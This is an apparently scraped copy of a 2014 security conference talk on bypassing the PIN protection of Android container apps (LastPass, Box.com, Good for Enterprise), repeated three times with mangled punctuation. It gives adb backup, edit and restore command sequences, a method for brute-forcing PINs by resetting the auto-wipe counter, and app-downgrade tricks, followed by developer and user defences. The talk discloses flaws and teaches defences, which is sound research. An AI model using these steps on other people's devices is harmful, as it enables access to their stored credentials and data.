  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 100: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 101: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 102: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

